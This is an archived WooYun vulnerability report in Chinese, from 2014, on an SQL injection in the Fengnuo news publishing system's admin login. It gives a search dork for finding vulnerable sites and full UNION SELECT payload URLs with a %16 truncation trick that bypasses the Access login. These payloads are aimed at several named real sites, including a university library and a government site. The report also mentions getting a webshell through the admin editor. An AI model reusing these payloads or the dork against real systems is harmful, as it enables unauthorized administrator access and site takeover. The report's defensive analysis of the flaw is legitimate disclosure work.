当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-073671

漏洞标题:某新闻发布管理系统SQL注入一枚(access数据库截断小技巧)附带拿shell

相关厂商:cncert国家互联网应急中心

漏洞作者: wefgod

提交时间:2014-08-25 10:12

修复时间:2014-11-23 10:14

公开时间:2014-11-23 10:14

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:12

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-08-25: 细节已通知厂商并且等待厂商处理中
2014-08-29: 厂商已经确认,细节仅向厂商公开
2014-09-01: 细节向第三方安全合作伙伴开放
2014-10-23: 细节向核心白帽子及相关领域专家公开
2014-11-02: 细节向普通白帽子公开
2014-11-12: 细节向实习白帽子公开
2014-11-23: 细节向公众公开

简要描述:

头一次注意到access可以这样截断?

详细说明:

搜索:http://music.google.cn/search?newwindow=1&q=inurl%3Afunonews.ASP%3FID%3D&btnG=Google+%E6%90%9C%E7%B4%A2
不过有的搜索结果未必是同一套系统。
系统名称应该是叫风诺新闻发布管理系统
北京风诺网络开发
存在注入的链接:
http://lib.hebiace.edu.cn/dzb/admin/chklogin.asp?password=1&Submit=%c8%b7%20%b6%a8&admin=1

漏洞证明:

正题:
当判断表名admin的时候返回密码错误,admin1的时候则提示数据库错误
http://lib.hebiace.edu.cn/dzb/admin/chklogin.asp?admin=1'%20and%20exists%20(select%20*%20from%20admin)%20and%20'1'='1&password=1&Submit=%c8%b7%20%b6%a8

image135.png


http://lib.hebiace.edu.cn/dzb/admin/chklogin.asp?admin=1'%20and%20exists%20(select%20*%20from%20admin1)%20and%20'1'='1&password=1&Submit=%c8%b7%20%b6%a8

image136.png


用此方法也可以快速判断是否存在注入
因为order by是有4个字段的,直接来吧。
http://lib.hebiace.edu.cn/dzb/admin/chklogin.asp?password=1&Submit=%c8%b7%20%b6%a8&admin=1%27%20UNION%20ALL%20SELECT%20123%2CNULL%2CNULL%2CNULL%20FROM%20MSysAccessObjects%16

image137.png


http://www.botou.gov.cn/yj/admin/chklogin.asp?password=1&Submit=%c8%b7%20%b6%a8&admin=1%27%20UNION%20ALL%20SELECT%20123%2CNULL%2CNULL%2CNULL%20FROM%20MSysAccessObjects%16

image139.png


http://210.41.160.9:84/huang/nbzy/hjyj/admin/chklogin.asp?password=1&Submit=%c8%b7%20%b6%a8&admin=1%27%20UNION%20ALL%20SELECT%20123%2CNULL%2CNULL%2CNULL%20FROM%20MSysAccessObjects%16

image141.png


http://www.qzgl.cn/admin/chklogin.asp?password=1&Submit=%c8%b7%20%b6%a8&admin=1%27%20UNION%20ALL%20SELECT%20123%2CNULL%2CNULL%2CNULL%20FROM%20MSysAccessObjects%16

image143.png


拿shell
http://www.qzgl.cn/webedit/admin_login.asp
两个admin进入

image145.png


image147.png


image148.png


顺带简单分析一下上面的情况,因为
admin=1%27%20UNION%20ALL%20SELECT%20123%2CNULL%2CNULL%2CNULL%20FROM%20MSysAccessObjects%16
后面使用了一个%16,使用其它字符的话大部分都无法直接进入系统。
看一下%16是个啥:

20140824133638.jpg


看下代码:

admin1=request("admin")
password1=request("password")
set rs=server.CreateObject("ADODB.RecordSet")
sql="select * from admin where admin='" & admin1 & "' and password='"&encrypt(password1)&"'"


查询原本拼凑出来的是:
select * from admin where admin=’1' UNION ALL SELECT 123,NULL,NULL,NULL FROM MSysAccessObjects (%16转换为的字符,乌云不让贴) and password=1
在这个地方%16(就是)可以截断access的sql查询!
等同于查询变成了:
select * from admin where admin=’ 1' UNION ALL SELECT 123,NULL,NULL,NULL FROM MSysAccessObjects
因为admin表结构如下:

image150.png


所以使用了联结查询就等于“查询出了一条数据:id=123其它字段都为空”
后面部分的代码,不多说了没什么特别的

rs.open sql,conn,1
if rs.eof and rs.bof then
response.write"<SCRIPT language=JavaScript>alert('用户名或密码不正确!');"
response.write"javascript:history.go(-1)</SCRIPT>"
response.end
else
session("admin")=rs("admin")
session("username")=rs("admin")
session("userid")=rs("id")
session("password")=rs("password")
session("aleave")=rs("aleave")
Session("eWebEditor_User") = "admin"
Session("eWebEditor_Version") = "2.8.0"
response.redirect "admin.asp"
end if
rs.close
set rs=nothing


本地测试下:
表结构:

image151.png


测:1:
SELECT * from admin where username='admin' and password='123';

image152.png


测试2(加了%16字符):

20140824134010.jpg


image153.png


很明显后面密码的条件已经被截断了。
再测试mysql:

image155.png


直接报错…………
再测试下mssql:

image157.png


image158.png


%16直接被忽视了
所以应该只在access下有效。
不知道是不是之前就有的,才疏学浅现在才知道access可以这样截断

修复方案:

过滤咯

版权声明:转载请注明来源 wefgod@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:16

确认时间:2014-08-29 16:45

厂商回复:

最新状态:

暂无


漏洞评价:

评论

  1. 2014-08-25 10:20 | adm1n ( 普通白帽子 | Rank:216 漏洞数:66 | 只是一个渣渣而已。。。)

    来学习下

  2. 2014-08-25 10:27 | 小川 认证白帽子 ( 核心白帽子 | Rank:1344 漏洞数:216 | 一个致力要将乌云变成搞笑论坛的男人)

    mark

  3. 2014-08-25 10:35 | 炊烟 ( 普通白帽子 | Rank:238 漏洞数:44 | 每一天都需要努力。)

    mark

  4. 2014-08-25 10:38 | 玉林嘎 ( 普通白帽子 | Rank:758 漏洞数:96 )

    mark

  5. 2014-08-25 10:40 | U神 ( 核心白帽子 | Rank:1285 漏洞数:142 | 感谢乌云,知恩不忘,其实我一直都在乌云默...)

    对大牛就是不一样

  6. 2014-08-25 10:54 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)

    @U神 不是大牛,大牛不发这种低级漏洞

  7. 2014-08-25 11:02 | 贫道来自河北 ( 普通白帽子 | Rank:1395 漏洞数:423 | 一个立志要把乌云集市变成零食店的男人)

    第一次听说access截断

  8. 2014-08-25 11:13 | 茜茜公主 ( 普通白帽子 | Rank:2360 漏洞数:406 | 家里二宝出生,这几个月忙着把屎把尿...忒...)

    第一次听说,标题可以这样写

  9. 2014-08-25 23:28 | Moc ( 路人 | Rank:23 漏洞数:12 | 屌丝何苦为难屌丝)

    mark

  10. 2014-08-27 08:59 | Bloodwolf ( 实习白帽子 | Rank:47 漏洞数:8 | whoami)

    哇哇哇,access?编码么。

  11. 2014-08-29 17:33 | 梧桐雨 认证白帽子 ( 核心白帽子 | Rank:1576 漏洞数:184 | 关注技术与网络安全)

    大牛又回来了,嘿嘿 (*^__^*)

  12. 2014-08-29 18:40 | depycode ( 普通白帽子 | Rank:275 漏洞数:44 | 关注网络安全,提高技术!)

    mark

  13. 2014-09-01 09:14 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)

    @梧桐雨 别大牛了,我这哪里是大牛做的事情啊

  14. 2014-12-13 23:43 | _Evil ( 普通白帽子 | Rank:418 漏洞数:59 | 万事无他,唯手熟尔。农民也会编程,别指望天...)

    生猴子

  15. 2014-12-23 00:16 | 指尖的温度 ( 路人 | Rank:12 漏洞数:7 )

    这个程序整个都有注入

  16. 2015-01-24 18:27 | ki11y0u ( 普通白帽子 | Rank:104 漏洞数:23 | 好好学习,求带飞~~~~~~~~~~~~~~~~~~~~~~...)

    @wefgod 貌似后台可以shell

  17. 2015-01-25 00:03 | roker ( 普通白帽子 | Rank:357 漏洞数:108 )

    用sqlmap看到过%16。。

  18. 2015-01-26 10:01 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)

    @ki11y0u 无所谓了,随便搞一个就OK

  19. 2015-04-04 14:44 | qhwlpg ( 普通白帽子 | Rank:226 漏洞数:54 | 潜心代码审计。)

    %16注释,哈哈

  20. 2015-04-05 14:30 | My5t3ry ( 实习白帽子 | Rank:31 漏洞数:13 )

    sqlmap有%16这个东西。。。。